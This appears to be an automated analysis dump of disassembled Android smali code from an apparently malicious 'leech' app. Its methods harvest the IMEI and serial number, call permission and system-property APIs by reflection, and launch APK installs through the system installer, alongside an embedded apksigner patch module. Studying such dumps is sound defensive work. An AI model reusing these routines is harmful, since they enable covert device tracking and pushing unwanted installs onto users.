                                                                              • getDeviceId, IMEI:
                                                                              • No IMEI.
                                                                              Position Instruction Meta Information
                                                                              0if-nez p0, :cond_5
                                                                              2const-string v0, ""
                                                                              3goto_4: return-object v0
                                                                              4cond_5:
                                                                              5const-string v0, "phone"
                                                                              7invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              8move-result-object v0
                                                                              9check-cast v0, Landroid/telephony/TelephonyManager;
                                                                              10if-eqz v0, :cond_52
                                                                              11try_start_f:
                                                                              12const-string v1, "android.permission.READ_PHONE_STATE"
                                                                              14invoke-static {p0, v1}, LuAgent/commonsdk/statistics/common/DeviceConfig;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              15move-result v1
                                                                              16if-eqz v1, :cond_52
                                                                              18invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
                                                                              19try_end_1a: move-result-object v0
                                                                              20try_start_1b: sget-boolean v1, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              21if-eqz v1, :cond_4
                                                                              23sget-object v1, LuAgent/commonsdk/statistics/common/DeviceConfig;->LOG_TAG:Ljava/lang/String;
                                                                              24const/4 v2, 0x1
                                                                              25new-array v2, v2, [Ljava/lang/Object;
                                                                              26const/4 v3, 0x0
                                                                              27new-instance v4, Ljava/lang/StringBuilder;
                                                                              29invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                                              31const-string v5, "getDeviceId, IMEI: "
                                                                              33invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              34move-result-object v4
                                                                              36invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              37move-result-object v4
                                                                              39invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              40move-result-object v4
                                                                              41aput-object v4, v2, v3
                                                                              43invoke-static {v1, v2}, LuAgent/commonsdk/statistics/common/MLog;->i(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              44try_end_3d: goto/16 :goto_4
                                                                              45catch_3e: move-exception v1
                                                                              46goto_3f: sget-boolean v2, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              47if-eqz v2, :cond_4
                                                                              49sget-object v2, LuAgent/commonsdk/statistics/common/DeviceConfig;->LOG_TAG:Ljava/lang/String;
                                                                              51const-string v3, "No IMEI."
                                                                              53invoke-static {v2, v3, v1}, LuAgent/commonsdk/statistics/common/MLog;->w(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                                                                              54goto/16 :goto_4
                                                                              55catch_4b: move-exception v0
                                                                              57const-string v1, ""
                                                                              58move-object v6, v0
                                                                              59move-object v0, v1
                                                                              60move-object v1, v6
                                                                              61goto/16 :goto_3f
                                                                              62cond_52:
                                                                              63const-string v0, ""
                                                                              64goto/16 :goto_4
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getApplicationContext
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Integer.intValue
                                                                              • android.content.Context.getPackageManager
                                                                              • android.content.Context.getPackageName
                                                                              • android.content.pm.PackageManager.checkPermission
                                                                              Strings
                                                                              • android.content.Context
                                                                              • checkSelfPermission
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x1
                                                                              1const/4 v2, 0x0
                                                                              2if-eqz p0, :cond_53
                                                                              4invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                                                                              5move-result-object v3
                                                                              6sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              7const/16 v4, 0x17
                                                                              8if-lt v0, v4, :cond_3c
                                                                              9try_start_e:
                                                                              10const-string v0, "android.content.Context"
                                                                              12invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              13move-result-object v0
                                                                              15const-string v4, "checkSelfPermission"
                                                                              16const/4 v5, 0x1
                                                                              17new-array v5, v5, [Ljava/lang/Class;
                                                                              18const/4 v6, 0x0
                                                                              19const-class v7, Ljava/lang/String;
                                                                              20aput-object v7, v5, v6
                                                                              22invoke-virtual {v0, v4, v5}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              23move-result-object v0
                                                                              24const/4 v4, 0x1
                                                                              25new-array v4, v4, [Ljava/lang/Object;
                                                                              26const/4 v5, 0x0
                                                                              27aput-object p1, v4, v5
                                                                              29invoke-virtual {v0, p0, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              30move-result-object v0
                                                                              31check-cast v0, Ljava/lang/Integer;
                                                                              33invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                                                              34try_end_31: move-result v0
                                                                              35if-nez v0, :cond_53
                                                                              36move v0, v1
                                                                              37goto_35: move v2, v0
                                                                              38goto_36: return v2
                                                                              39catch_37: move-exception v0
                                                                              41invoke-static {v3, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              42goto/16 :goto_36
                                                                              43try_start_3c:
                                                                              44invoke-virtual {v3}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                                                              45move-result-object v0
                                                                              47invoke-virtual {v3}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                                                              48move-result-object v4
                                                                              50invoke-virtual {v0, p1, v4}, Landroid/content/pm/PackageManager;->checkPermission(Ljava/lang/String;Ljava/lang/String;)I
                                                                              51try_end_47: move-result v0
                                                                              52if-nez v0, :cond_51
                                                                              53goto_4a: move v2, v1
                                                                              54goto/16 :goto_36
                                                                              55catch_4c: move-exception v0
                                                                              57invoke-static {v3, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              58goto/16 :goto_36
                                                                              59cond_51: move v1, v2
                                                                              60goto/16 :goto_4a
                                                                              61cond_53: move v0, v2
                                                                              62goto/16 :goto_35
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.os.Build.SERIAL:Ljava/lang/String
                                                                              Strings
                                                                              • android.os.Build
                                                                              • getSerial
                                                                              • getDeviceId, serial no:
                                                                              Position Instruction Meta Information
                                                                              0const/4 v5, 0x0
                                                                              1sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              2const/16 v1, 0x9
                                                                              3if-lt v0, v1, :cond_4e
                                                                              4sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              5const/16 v1, 0x1a
                                                                              6if-lt v0, v1, :cond_4b
                                                                              7try_start_d:
                                                                              8const-string v0, "android.os.Build"
                                                                              10invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              11move-result-object v0
                                                                              13const-string v1, "getSerial"
                                                                              14const/4 v2, 0x0
                                                                              15new-array v2, v2, [Ljava/lang/Class;
                                                                              17invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              18move-result-object v1
                                                                              19const/4 v2, 0x0
                                                                              20new-array v2, v2, [Ljava/lang/Object;
                                                                              22invoke-virtual {v1, v0, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              23move-result-object v0
                                                                              24check-cast v0, Ljava/lang/String;
                                                                              25try_end_25: sget-boolean v1, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              26if-eqz v1, :cond_46
                                                                              28sget-object v1, LuAgent/commonsdk/statistics/common/DeviceConfig;->LOG_TAG:Ljava/lang/String;
                                                                              29const/4 v2, 0x1
                                                                              30new-array v2, v2, [Ljava/lang/Object;
                                                                              31new-instance v3, Ljava/lang/StringBuilder;
                                                                              33invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              35const-string v4, "getDeviceId, serial no: "
                                                                              37invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              38move-result-object v3
                                                                              40invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              41move-result-object v3
                                                                              43invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              44move-result-object v3
                                                                              45aput-object v3, v2, v5
                                                                              47invoke-static {v1, v2}, LuAgent/commonsdk/statistics/common/MLog;->i(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              48cond_46: return-object v0
                                                                              49catch_47: move-exception v0
                                                                              51const-string v0, ""
                                                                              52goto/16 :goto_25
                                                                              53cond_4b:
                                                                              54sget-object v0, Landroid/os/Build;->SERIAL:Ljava/lang/String;
                                                                              55goto/16 :goto_25
                                                                              56cond_4e:
                                                                              57const-string v0, ""
                                                                              58goto/16 :goto_25
                                                                              APIs
                                                                              • java.lang.Boolean.valueOf
                                                                              • android.content.Context.getClassLoader
                                                                              • java.lang.ClassLoader.loadClass
                                                                              • java.lang.Boolean.TYPE:Ljava/lang/Class
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.String.<init>
                                                                              • java.lang.Boolean.<init>
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Boolean.valueOf
                                                                              Strings
                                                                              • android.os.SystemProperties
                                                                              • getBoolean
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.param p1, "key" # Ljava/lang/String;
                                                                              2.param p2, "def" # Z
                                                                              3.prologue
                                                                              5invoke-static {p2}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                                                                              6move-result-object v7
                                                                              7try_start_4:
                                                                              8invoke-virtual {p0}, Landroid/content/Context;->getClassLoader()Ljava/lang/ClassLoader;
                                                                              9move-result-object v2
                                                                              11const-string v8, "android.os.SystemProperties"
                                                                              13invoke-virtual {v2, v8}, Ljava/lang/ClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                                                                              14move-result-object v1
                                                                              15const/4 v8, 0x2
                                                                              16new-array v5, v8, [Ljava/lang/Class;
                                                                              17const/4 v8, 0x0
                                                                              18const-class v9, Ljava/lang/String;
                                                                              19aput-object v9, v5, v8
                                                                              20const/4 v8, 0x1
                                                                              22sget-object v9, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;
                                                                              23aput-object v9, v5, v8
                                                                              25const-string v8, "getBoolean"
                                                                              27invoke-virtual {v1, v8, v5}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              28move-result-object v4
                                                                              29const/4 v8, 0x2
                                                                              30new-array v6, v8, [Ljava/lang/Object;
                                                                              31const/4 v8, 0x0
                                                                              32new-instance v9, Ljava/lang/String;
                                                                              34invoke-direct {v9, p1}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
                                                                              35aput-object v9, v6, v8
                                                                              36const/4 v8, 0x1
                                                                              37new-instance v9, Ljava/lang/Boolean;
                                                                              39invoke-direct {v9, p2}, Ljava/lang/Boolean;-><init>(Z)V
                                                                              40aput-object v9, v6, v8
                                                                              42invoke-virtual {v4, v1, v6}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              43move-result-object v8
                                                                              44move-object v0, v8
                                                                              45check-cast v0, Ljava/lang/Boolean;
                                                                              46move-object v7, v0
                                                                              47goto_3c: return-object v7
                                                                              48catch_3d: move-exception v3
                                                                              50invoke-static {p2}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                                                                              51move-result-object v7
                                                                              52goto/16 :goto_3c
                                                                              53catch_43: move-exception v8
                                                                              54goto/16 :goto_3c
                                                                              APIs
                                                                              • java.lang.Integer.valueOf
                                                                              • android.content.Context.getClassLoader
                                                                              • java.lang.ClassLoader.loadClass
                                                                              • java.lang.Integer.TYPE:Ljava/lang/Class
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.String.<init>
                                                                              • java.lang.Integer.<init>
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Integer.valueOf
                                                                              Strings
                                                                              • android.os.SystemProperties
                                                                              • getInt
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.param p1, "key" # Ljava/lang/String;
                                                                              2.param p2, "def" # I
                                                                              3.prologue
                                                                              5invoke-static {p2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                                              6move-result-object v7
                                                                              7try_start_4:
                                                                              8invoke-virtual {p0}, Landroid/content/Context;->getClassLoader()Ljava/lang/ClassLoader;
                                                                              9move-result-object v2
                                                                              11const-string v8, "android.os.SystemProperties"
                                                                              13invoke-virtual {v2, v8}, Ljava/lang/ClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                                                                              14move-result-object v1
                                                                              15const/4 v8, 0x2
                                                                              16new-array v5, v8, [Ljava/lang/Class;
                                                                              17const/4 v8, 0x0
                                                                              18const-class v9, Ljava/lang/String;
                                                                              19aput-object v9, v5, v8
                                                                              20const/4 v8, 0x1
                                                                              22sget-object v9, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                                                                              23aput-object v9, v5, v8
                                                                              25const-string v8, "getInt"
                                                                              27invoke-virtual {v1, v8, v5}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              28move-result-object v4
                                                                              29const/4 v8, 0x2
                                                                              30new-array v6, v8, [Ljava/lang/Object;
                                                                              31const/4 v8, 0x0
                                                                              32new-instance v9, Ljava/lang/String;
                                                                              34invoke-direct {v9, p1}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
                                                                              35aput-object v9, v6, v8
                                                                              36const/4 v8, 0x1
                                                                              37new-instance v9, Ljava/lang/Integer;
                                                                              39invoke-direct {v9, p2}, Ljava/lang/Integer;-><init>(I)V
                                                                              40aput-object v9, v6, v8
                                                                              42invoke-virtual {v4, v1, v6}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              43move-result-object v8
                                                                              44move-object v0, v8
                                                                              45check-cast v0, Ljava/lang/Integer;
                                                                              46move-object v7, v0
                                                                              47goto_3c: return-object v7
                                                                              48catch_3d: move-exception v3
                                                                              50invoke-static {p2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                                              51move-result-object v7
                                                                              52goto/16 :goto_3c
                                                                              53catch_43: move-exception v8
                                                                              54goto/16 :goto_3c
                                                                              APIs
                                                                              • java.lang.Long.valueOf
                                                                              • android.content.Context.getClassLoader
                                                                              • java.lang.ClassLoader.loadClass
                                                                              • java.lang.Long.TYPE:Ljava/lang/Class
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.String.<init>
                                                                              • java.lang.Long.<init>
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Long.valueOf
                                                                              Strings
                                                                              • android.os.SystemProperties
                                                                              • getLong
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.param p1, "key" # Ljava/lang/String;
                                                                              2.param p2, "def" # J
                                                                              3.prologue
                                                                              5invoke-static {p2, p3}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
                                                                              6move-result-object v7
                                                                              7try_start_4:
                                                                              8invoke-virtual {p0}, Landroid/content/Context;->getClassLoader()Ljava/lang/ClassLoader;
                                                                              9move-result-object v2
                                                                              11const-string v8, "android.os.SystemProperties"
                                                                              13invoke-virtual {v2, v8}, Ljava/lang/ClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                                                                              14move-result-object v1
                                                                              15const/4 v8, 0x2
                                                                              16new-array v5, v8, [Ljava/lang/Class;
                                                                              17const/4 v8, 0x0
                                                                              18const-class v9, Ljava/lang/String;
                                                                              19aput-object v9, v5, v8
                                                                              20const/4 v8, 0x1
                                                                              22sget-object v9, Ljava/lang/Long;->TYPE:Ljava/lang/Class;
                                                                              23aput-object v9, v5, v8
                                                                              25const-string v8, "getLong"
                                                                              27invoke-virtual {v1, v8, v5}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              28move-result-object v4
                                                                              29const/4 v8, 0x2
                                                                              30new-array v6, v8, [Ljava/lang/Object;
                                                                              31const/4 v8, 0x0
                                                                              32new-instance v9, Ljava/lang/String;
                                                                              34invoke-direct {v9, p1}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
                                                                              35aput-object v9, v6, v8
                                                                              36const/4 v8, 0x1
                                                                              37new-instance v9, Ljava/lang/Long;
                                                                              39invoke-direct {v9, p2, p3}, Ljava/lang/Long;-><init>(J)V
                                                                              40aput-object v9, v6, v8
                                                                              42invoke-virtual {v4, v1, v6}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              43move-result-object v8
                                                                              44move-object v0, v8
                                                                              45check-cast v0, Ljava/lang/Long;
                                                                              46move-object v7, v0
                                                                              47goto_3c: return-object v7
                                                                              48catch_3d: move-exception v3
                                                                              50invoke-static {p2, p3}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
                                                                              51move-result-object v7
                                                                              52goto/16 :goto_3c
                                                                              53catch_43: move-exception v8
                                                                              54goto/16 :goto_3c
                                                                              APIs
                                                                              • java.io.File.<init>
                                                                              • java.io.File.exists
                                                                              • android.content.Intent.<init>
                                                                              • android.net.Uri.fromFile
                                                                              • android.content.Intent.setDataAndType
                                                                              • android.content.Intent.addFlags
                                                                              • android.content.Intent.setComponent
                                                                              • android.content.Context.startActivity
                                                                              Strings
                                                                              • android.intent.action.VIEW
                                                                              • application/vnd.android.package-archive
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "pkg" # Ljava/lang/String;
                                                                              1.param p1, "apkfile" # Ljava/lang/String;
                                                                              2.prologue
                                                                              3try_start_0: new-instance v0, Ljava/io/File;
                                                                              5invoke-direct {v0, p1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                                              7invoke-virtual {v0}, Ljava/io/File;->exists()Z
                                                                              8move-result v3
                                                                              9if-eqz v3, :cond_39
                                                                              11invoke-static {p0}, Lcom/android/leech/main/ad/mini/util/StartAPP;->checkApkExist(Ljava/lang/String;)Z
                                                                              12move-result v3
                                                                              13if-nez v3, :cond_39
                                                                              14new-instance v1, Landroid/content/Intent;
                                                                              16const-string v3, "android.intent.action.VIEW"
                                                                              18invoke-direct {v1, v3}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                                                              20invoke-static {v0}, Landroid/net/Uri;->fromFile(Ljava/io/File;)Landroid/net/Uri;
                                                                              21move-result-object v3
                                                                              23const-string v4, "application/vnd.android.package-archive"
                                                                              25invoke-virtual {v1, v3, v4}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
                                                                              26const/high16 v3, 0x10000000
                                                                              28invoke-virtual {v1, v3}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                                                              30invoke-static {p1}, Lcom/android/leech/main/ad/mini/util/StartAPP;->getSystemPackageInstaller(Ljava/lang/String;)Landroid/content/ComponentName;
                                                                              31move-result-object v2
                                                                              32if-eqz v2, :cond_2f
                                                                              34invoke-virtual {v1, v2}, Landroid/content/Intent;->setComponent(Landroid/content/ComponentName;)Landroid/content/Intent;
                                                                              35cond_2f:
                                                                              36invoke-static {}, Lcom/android/leech/base/LeechGlobal;->getContext()Landroid/content/Context;
                                                                              37move-result-object v3
                                                                              39invoke-virtual {v3, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                                                              40try_end_36: const/4 v3, 0x1
                                                                              41goto_37: return v3
                                                                              42catch_38: move-exception v3
                                                                              43cond_39: const/4 v3, 0x0
                                                                              44goto/16 :goto_37
                                                                              Cross References
                                                                              APIs
                                                                              • java.io.File.<init>
                                                                              • android.net.Uri.fromFile
                                                                              • android.content.Intent.<init>
                                                                              • android.content.Intent.setDataAndType
                                                                              • android.content.Intent.setAction
                                                                              • android.content.Intent.setFlags
                                                                              • android.content.Intent.setComponent
                                                                              • android.content.Context.startActivity
                                                                              Strings
                                                                              • android.intent.action.VIEW
                                                                              • application/vnd.android.package-archive
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.param p1, "filePath" # Ljava/lang/String;
                                                                              2.param p2, "pkg" # Ljava/lang/String;
                                                                              3.param p3, "appName" # Ljava/lang/String;
                                                                              4.prologue
                                                                              5new-instance v3, Ljava/io/File;
                                                                              7invoke-direct {v3, p1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                                              9invoke-static {v3}, Landroid/net/Uri;->fromFile(Ljava/io/File;)Landroid/net/Uri;
                                                                              10move-result-object v2
                                                                              11new-instance v0, Landroid/content/Intent;
                                                                              13const-string v3, "android.intent.action.VIEW"
                                                                              15invoke-direct {v0, v3}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                                                              17const-string v3, "application/vnd.android.package-archive"
                                                                              19invoke-virtual {v0, v2, v3}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
                                                                              21const-string v3, "android.intent.action.VIEW"
                                                                              23invoke-virtual {v0, v3}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
                                                                              24const/high16 v3, 0x10000000
                                                                              26invoke-virtual {v0, v3}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                                                              28invoke-static {p0, p1}, Lcom/android/leech/patch/PatchNotification;->getSystemPackageInstaller(Landroid/content/Context;Ljava/lang/String;)Landroid/content/ComponentName;
                                                                              29move-result-object v1
                                                                              30if-eqz v1, :cond_28
                                                                              32invoke-virtual {v0, v1}, Landroid/content/Intent;->setComponent(Landroid/content/ComponentName;)Landroid/content/Intent;
                                                                              33cond_28:
                                                                              34invoke-virtual {p0, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                                                              35return-void
                                                                              APIs
                                                                              Strings
                                                                              • appId
                                                                              • platformId
                                                                              • versionCode
                                                                              • versionName
                                                                              • buildNo
                                                                              • iconUrl
                                                                              • apkId
                                                                              • channelId
                                                                              • md5
                                                                              • sdkVer
                                                                              • bundleId
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "var1" # Ljava/lang/StringBuilder;
                                                                              1.param p2, "var2" # I
                                                                              2.prologue
                                                                              3new-instance v0, Lcom/android/leech/base/bugly/bean/i;
                                                                              5invoke-direct {v0, p1, p2}, Lcom/android/leech/base/bugly/bean/i;-><init>(Ljava/lang/StringBuilder;I)V
                                                                              7iget-object v1, p0, Lcom/android/leech/base/bugly/bean/v;->a:Ljava/lang/String;
                                                                              9const-string v2, "appId"
                                                                              11invoke-virtual {v0, v1, v2}, Lcom/android/leech/base/bugly/bean/i;->a(Ljava/lang/String;Ljava/lang/String;)Lcom/android/leech/base/bugly/bean/i;
                                                                              12iget-byte v1, p0, Lcom/android/leech/base/bugly/bean/v;->b:B
                                                                              14const-string v2, "platformId"
                                                                              16invoke-virtual {v0, v1, v2}, Lcom/android/leech/base/bugly/bean/i;->a(BLjava/lang/String;)Lcom/android/leech/base/bugly/bean/i;
                                                                              17iget v1, p0, Lcom/android/leech/base/bugly/bean/v;->c:I
                                                                              19const-string v2, "versionCode"
                                                                              21invoke-virtual {v0, v1, v2}, Lcom/android/leech/base/bugly/bean/i;->a(ILjava/lang/String;)Lcom/android/leech/base/bugly/bean/i;
                                                                              23iget-object v1, p0, Lcom/android/leech/base/bugly/bean/v;->d:Ljava/lang/String;
                                                                              25const-string v2, "versionName"
                                                                              27invoke-virtual {v0, v1, v2}, Lcom/android/leech/base/bugly/bean/i;->a(Ljava/lang/String;Ljava/lang/String;)Lcom/android/leech/base/bugly/bean/i;
                                                                              28iget v1, p0, Lcom/android/leech/base/bugly/bean/v;->e:I
                                                                              30const-string v2, "buildNo"
                                                                              32invoke-virtual {v0, v1, v2}, Lcom/android/leech/base/bugly/bean/i;->a(ILjava/lang/String;)Lcom/android/leech/base/bugly/bean/i;
                                                                              34iget-object v1, p0, Lcom/android/leech/base/bugly/bean/v;->f:Ljava/lang/String;
                                                                              36const-string v2, "iconUrl"
                                                                              38invoke-virtual {v0, v1, v2}, Lcom/android/leech/base/bugly/bean/i;->a(Ljava/lang/String;Ljava/lang/String;)Lcom/android/leech/base/bugly/bean/i;
                                                                              39iget-wide v1, p0, Lcom/android/leech/base/bugly/bean/v;->g:J
                                                                              41const-string v3, "apkId"
                                                                              43invoke-virtual {v0, v1, v2, v3}, Lcom/android/leech/base/bugly/bean/i;->a(JLjava/lang/String;)Lcom/android/leech/base/bugly/bean/i;
                                                                              45iget-object v1, p0, Lcom/android/leech/base/bugly/bean/v;->h:Ljava/lang/String;
                                                                              47const-string v2, "channelId"
                                                                              49invoke-virtual {v0, v1, v2}, Lcom/android/leech/base/bugly/bean/i;->a(Ljava/lang/String;Ljava/lang/String;)Lcom/android/leech/base/bugly/bean/i;
                                                                              51iget-object v1, p0, Lcom/android/leech/base/bugly/bean/v;->i:Ljava/lang/String;
                                                                              53const-string v2, "md5"
                                                                              55invoke-virtual {v0, v1, v2}, Lcom/android/leech/base/bugly/bean/i;->a(Ljava/lang/String;Ljava/lang/String;)Lcom/android/leech/base/bugly/bean/i;
                                                                              57iget-object v1, p0, Lcom/android/leech/base/bugly/bean/v;->j:Ljava/lang/String;
                                                                              59const-string v2, "sdkVer"
                                                                              61invoke-virtual {v0, v1, v2}, Lcom/android/leech/base/bugly/bean/i;->a(Ljava/lang/String;Ljava/lang/String;)Lcom/android/leech/base/bugly/bean/i;
                                                                              63iget-object v1, p0, Lcom/android/leech/base/bugly/bean/v;->k:Ljava/lang/String;
                                                                              65const-string v2, "bundleId"
                                                                              67invoke-virtual {v0, v1, v2}, Lcom/android/leech/base/bugly/bean/i;->a(Ljava/lang/String;Ljava/lang/String;)Lcom/android/leech/base/bugly/bean/i;
                                                                              68return-void
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.String.indexOf
                                                                              • java.net.InetAddress.getByName
                                                                              • java.net.InetAddress.getAddress
                                                                              • java.lang.String.substring
                                                                              • java.net.InetAddress.getByName
                                                                              • java.net.InetAddress.getAddress
                                                                              • java.lang.String.substring
                                                                              • java.net.InetAddress.getByName
                                                                              • java.net.InetAddress.getAddress
                                                                              • java.lang.System.arraycopy
                                                                              • java.lang.System.arraycopy
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "name" # Ljava/lang/String;
                                                                              1.annotation system Ldalvik/annotation/Throws;
                                                                              2value = {
                                                                              3Ljava/io/IOException;
                                                                              4}
                                                                              5.end annotation
                                                                              6.prologue
                                                                              7const/4 v5, 0x4
                                                                              8const/4 v4, 0x0
                                                                              9const/16 v3, 0x2f
                                                                              11invoke-virtual {p1, v3}, Ljava/lang/String;->indexOf(I)I
                                                                              12move-result v2
                                                                              13const/4 v3, -0x1
                                                                              14if-ne v2, v3, :cond_16
                                                                              16invoke-static {p1}, Ljava/net/InetAddress;->getByName(Ljava/lang/String;)Ljava/net/InetAddress;
                                                                              17move-result-object v3
                                                                              19invoke-virtual {v3}, Ljava/net/InetAddress;->getAddress()[B
                                                                              20move-result-object v3
                                                                              21iput-object v3, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/IPAddressName;->address:[B
                                                                              22goto_15: return-void
                                                                              23cond_16: const/16 v3, 0x8
                                                                              24new-array v3, v3, [B
                                                                              25iput-object v3, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/IPAddressName;->address:[B
                                                                              26add-int/lit8 v3, v2, 0x1
                                                                              28invoke-virtual {p1, v3}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                                              29move-result-object v3
                                                                              31invoke-static {v3}, Ljava/net/InetAddress;->getByName(Ljava/lang/String;)Ljava/net/InetAddress;
                                                                              32move-result-object v3
                                                                              34invoke-virtual {v3}, Ljava/net/InetAddress;->getAddress()[B
                                                                              35move-result-object v1
                                                                              37invoke-virtual {p1, v4, v2}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                                                                              38move-result-object v3
                                                                              40invoke-static {v3}, Ljava/net/InetAddress;->getByName(Ljava/lang/String;)Ljava/net/InetAddress;
                                                                              41move-result-object v3
                                                                              43invoke-virtual {v3}, Ljava/net/InetAddress;->getAddress()[B
                                                                              44move-result-object v0
                                                                              46iget-object v3, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/IPAddressName;->address:[B
                                                                              48invoke-static {v0, v4, v3, v4, v5}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                                                                              50iget-object v3, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/IPAddressName;->address:[B
                                                                              52invoke-static {v1, v4, v3, v5, v5}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
